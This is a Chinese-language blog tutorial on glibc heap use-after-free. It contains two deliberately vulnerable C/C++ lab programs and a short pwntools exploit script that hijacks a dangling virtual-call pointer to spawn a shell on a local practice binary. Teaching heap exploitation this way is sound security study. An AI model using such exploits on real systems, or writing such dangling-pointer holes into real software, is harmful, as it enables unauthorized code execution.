glibc heap UAF

use after free(UAF)

  • 重新malloc一样的大小,会拿到曾经Free的chunk,此时就会有两个指针p,和q指向同一个内存块,使用这两个的指针操作混在一起(之前的哪个指针在chun被free后没有被置为NULL,形成悬空指针)
  • 还有一个小点就是要注意在64bits的时候有可能会出现高位的\x00截断这种事情
  • 这个关键的一点就是free掉的内存块,还是可以再次拿出来用的,就想之前free的chunk,malloc的也可以再次拿出来,我们看一个例子
#include<stdio.h>
#include<cstdlib>
#include<cstring>
class A{
    public:
        virtual void print()
        {
            puts("class A");
        }
};
class B:public A{
    public:
        void print(){
            puts("class B");
        }
};
void sh(){
    system("sh");
}
char buf[1024];
int main()
{
    setvbuf(stdout,0,_IONBF,0);   \\这个setvbuf是C库函数,作用跟参数有关,可以百度一下,目前的作用是
    A *p = new B();
    delete p;
    fgets(buf,sizeof(buf),stdin);
    char *q = strdup(buf);   \\这个其实就是有一个malloc分配内存块然后把字符串打印进去
    p->print();
}

然后就要分析一下这个源码,首先看一下strdup的源码,这个函数定义在string.h这个头文件之中,

char * __strdup(const char *s)
{
   size_t  len = strlen(s) +1;
   void *new = malloc(len);
   if (new == NULL)
      return NULL;
   return (char *)memecpy(new,s,len);
}

那么我们开始走程序,我们在delete p下断点执行程序,然后看ida先分析一下,

我们可以看到申请了是8bit的内存空间,但是对齐到最后应该会生成一个32位大小的堆块,进GDB

我们看到分配的mem在rax里面,而且目前mem刚申请出来,还都是0,其实也可以看到,下面有一个清0的操作,下面来个图带解释

call B之后内存块是这样的

然后紧接着的delete就给全清0了

然后紧接着fgets 输入8个a ,输入到了0x601160这个bss段,然后就指向strdup函数,然后把bss段的东西读入到新申请的mem

这时候我们惊喜的发现我们之前的chunk被拿出来用了,被填上了我们的输入,那么因为之前那个指针p没有被置为NULL,所以它还是指向这里的,我们可以利用此来劫持函数流,因为源代码的下面,还可以看看ida里面,有一个p的调用:

接下来利用过程就很关键了:

我们就可以开做题了:

#coding:utf-8
from pwn import *
r = process('./use-after-free')
buf = 0x601160
system_sh = 0x000000000400906
r.sendline(p64(buf+8)+p64(system_sh))     #这个送过去的数据不能太大,太大的话就不会申请的原来的chunk,如果想要刚刚好的话是24byte,不过这个不用刚刚好,因为chunk补齐,chunk的最小刚好是32byte,+8是因为对输入的地址要进行解引用的,可以看细看解析的最后一部分
r.interactive()

下面这个是个32位的例子,来自安全客,看题目源码:

#include<stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);   //定义了一个函数指针,参数类型char *,没有返回值
void evil_fuc(char command[])
{
    system(command);
}
void echo(char content[])
{
    printf("%s",content);
}
int main()
{
    func_ptr *p1=(int*)malloc(4*sizeof(int));
    printf("malloc addr: %pn",p1);
    p1[3]=echo;   //这个代表的是分配出来的内存块的第四个
    p1[3]("hello worldn");
    free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
    p1[3]("hello againn"); //p1指针未被置空,虽然free了,但仍可使用.
    func_ptr *p2=(int*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
    printf("malloc addr: %pn",p2);
    printf("malloc addr: %pn",p1);//p2与p1指针指向的内存为同一地址
    p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
    p1[3]("whoami");   //p1这个指针跟先前的操作一样,本来是要传个参数给echo,但是因为被p2改成evil_fuc,参数就给了evil,当然这里换成p2也可以的
    return 0;
}

   转载规则


《glibc heap UAF》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
逆向工程小知识 逆向工程小知识
在VB中:vbaVarForInit() , vbaVarForNext() 可以使逆向分析人员在字符串对象中逐个引用字符。 后面可以跟loop count (EBX) 使其按指定次数运转循环 MSVBVM50.rtcMsgBox \\调
2019-08-02
下一篇 
glibc heap unlink漏洞 glibc heap unlink漏洞
知识点: free操作会检查前后相邻堆块是否in_use,空闲的话就会进行合并操作 空闲的堆块一般以双向链表的形式存在(fastbin是单向链表不适用此种攻击) unlink : 如果刚释放的堆块要与前面或者后面的堆块进行合并操作,那么需
2019-08-02
  目录